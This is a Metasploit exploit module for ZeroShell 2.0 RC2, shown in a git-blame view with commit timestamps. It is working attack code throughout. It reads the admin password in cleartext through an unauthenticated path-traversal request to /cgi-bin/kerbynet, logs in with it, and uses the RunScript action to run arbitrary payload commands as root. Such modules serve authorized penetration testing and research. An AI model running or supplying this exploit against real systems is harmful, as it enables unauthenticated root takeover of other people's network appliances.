2013-09-22 08:13:55 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2013-09-22 08:13:55 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2013-09-22 08:13:55 +00:00
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2014-02-08 00:46:19 +00:00
|
|
|
include Msf::Exploit::CmdStager
|
2013-09-22 08:13:55 +00:00
|
|
|
include Msf::Exploit::EXE
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => "ZeroShell Remote Code Execution",
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a vulnerability found in ZeroShell 2.0 RC2 and lower.
|
|
|
|
It will leverage an unauthenticated local file inclusion vulnerability in the
|
|
|
|
"/cgi-bin/kerbynet" url. The file retrieved is "/var/register/system/ldap/rootpw".
|
|
|
|
This file contains the admin password in cleartext. The password is used to login
|
|
|
|
as the admin user. After the authentication process is complete it will use the
|
|
|
|
RunScript action to execute the payload with root privileges.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Yann CAM', # Discovery, PoC
|
|
|
|
'xistence <xistence[at]0x90.nl>' # Metasploit module
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
2015-12-24 17:05:02 +00:00
|
|
|
[ 'PACKETSTORM', '122799' ]
|
2013-09-22 08:13:55 +00:00
|
|
|
],
|
|
|
|
'Platform' => ['linux'],
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
['ZeroShell 2.0 RC2', {}]
|
|
|
|
],
|
2013-09-24 01:35:07 +00:00
|
|
|
'Privileged' => true,
|
2013-09-22 08:13:55 +00:00
|
|
|
'DisclosureDate' => "Sep 22 2013",
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('TARGETURI', [true, 'The base path to the ZeroShell instance', '/'])
|
|
|
|
], self.class)
|
2014-06-28 20:21:08 +00:00
|
|
|
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
|
2013-09-22 08:13:55 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def uri
|
|
|
|
return target_uri.path
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
# Check version
|
2016-02-01 21:12:03 +00:00
|
|
|
print_status("Trying to detect ZeroShell")
|
2013-09-22 08:13:55 +00:00
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => normalize_uri(uri)
|
|
|
|
})
|
|
|
|
|
|
|
|
if res and res.code == 200 and res.body =~ /ZeroShell/
|
2013-09-24 01:35:07 +00:00
|
|
|
print_good("ZeroShell detected")
|
|
|
|
end
|
|
|
|
|
|
|
|
unless password.nil?
|
2014-01-21 17:07:03 +00:00
|
|
|
return Exploit::CheckCode::Appears
|
2013-09-22 08:13:55 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
# Retrieve admin password using unauthenticated LFI
|
|
|
|
def password
|
2013-09-24 01:35:07 +00:00
|
|
|
rootpw = "../../../var/register/system/ldap/rootpw"
|
2016-02-01 21:12:03 +00:00
|
|
|
print_status("Retrieving cleartext admin password")
|
2013-09-22 08:13:55 +00:00
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'GET',
|
2013-09-24 01:35:07 +00:00
|
|
|
'uri' => normalize_uri(uri, "cgi-bin", "kerbynet"),
|
|
|
|
'vars_get' => {
|
|
|
|
'Section' => "NoAuthREQ",
|
|
|
|
'Action' => "Render",
|
|
|
|
'Object' => rootpw
|
|
|
|
}
|
2013-09-22 08:13:55 +00:00
|
|
|
})
|
|
|
|
|
2013-09-24 01:35:07 +00:00
|
|
|
if res and res.code == 200 and res.body !~ /not found/
|
|
|
|
res.body =~ /^(.*)$/
|
|
|
|
pass = $1
|
2016-02-01 21:12:03 +00:00
|
|
|
print_status("Password retrieved [ #{pass} ]")
|
2013-09-24 01:35:07 +00:00
|
|
|
return pass
|
2013-09-22 08:13:55 +00:00
|
|
|
else
|
2013-09-24 20:08:48 +00:00
|
|
|
return nil
|
2013-09-22 08:13:55 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
# Login using the retrieved password and grab the session key from the response body.
|
2013-09-24 01:35:07 +00:00
|
|
|
def login(admin_password)
|
2016-02-01 21:12:03 +00:00
|
|
|
print_status("Log in and retrieving session key")
|
2013-09-22 08:13:55 +00:00
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'POST',
|
|
|
|
'uri' => normalize_uri(uri, "cgi-bin", "kerbynet"),
|
|
|
|
'vars_post' => {
|
|
|
|
'Action' => "StartSessionSubmit",
|
|
|
|
'User' => "admin",
|
2013-09-24 01:35:07 +00:00
|
|
|
'PW' => admin_password
|
2013-09-22 08:13:55 +00:00
|
|
|
}
|
|
|
|
})
|
|
|
|
|
|
|
|
if res and res.code == 200 and res.body =~ /STk=([a-zA-Z0-9]+)&Action/
|
|
|
|
sessionkey = $1
|
2016-02-01 21:12:03 +00:00
|
|
|
print_status("Session key retrieved [ #{sessionkey} ]")
|
2013-09-22 08:13:55 +00:00
|
|
|
return sessionkey
|
|
|
|
else
|
|
|
|
fail_with(Failure::Unknown, "#{peer} - Retrieving session key failed!")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
# The RunScript action will run shell commands directly with root privileges.
|
|
|
|
def execute_command(cmd, opts)
|
2013-09-24 20:16:51 +00:00
|
|
|
script_name = rand_text_alphanumeric(8)
|
2013-09-22 08:13:55 +00:00
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'POST',
|
|
|
|
'uri' => normalize_uri(uri, "cgi-bin", "kerbynet"),
|
|
|
|
'vars_post' => {
|
|
|
|
'Action' => "RunScript",
|
|
|
|
'Section' => "Setup",
|
2013-09-24 20:31:40 +00:00
|
|
|
'STk' => @session,
|
2013-09-24 20:16:51 +00:00
|
|
|
'ScriptName' => script_name,
|
2013-09-22 08:13:55 +00:00
|
|
|
'Script' => cmd + '&'
|
|
|
|
}
|
2013-09-24 20:05:24 +00:00
|
|
|
})
|
2013-09-22 08:13:55 +00:00
|
|
|
|
2013-09-24 20:31:40 +00:00
|
|
|
if res and res.code != 200
|
2013-09-24 01:35:07 +00:00
|
|
|
fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!")
|
|
|
|
end
|
2013-09-22 08:13:55 +00:00
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2013-09-24 20:31:40 +00:00
|
|
|
admin_password = password
|
|
|
|
if admin_password.nil?
|
|
|
|
fail_with(Failure::Unknown, "#{peer} - Retrieving password failed!")
|
|
|
|
end
|
|
|
|
|
|
|
|
@session = login(admin_password)
|
|
|
|
|
2013-10-07 21:31:34 +00:00
|
|
|
execute_cmdstager({:flavor => :echo})
|
2013-09-22 08:13:55 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
end
|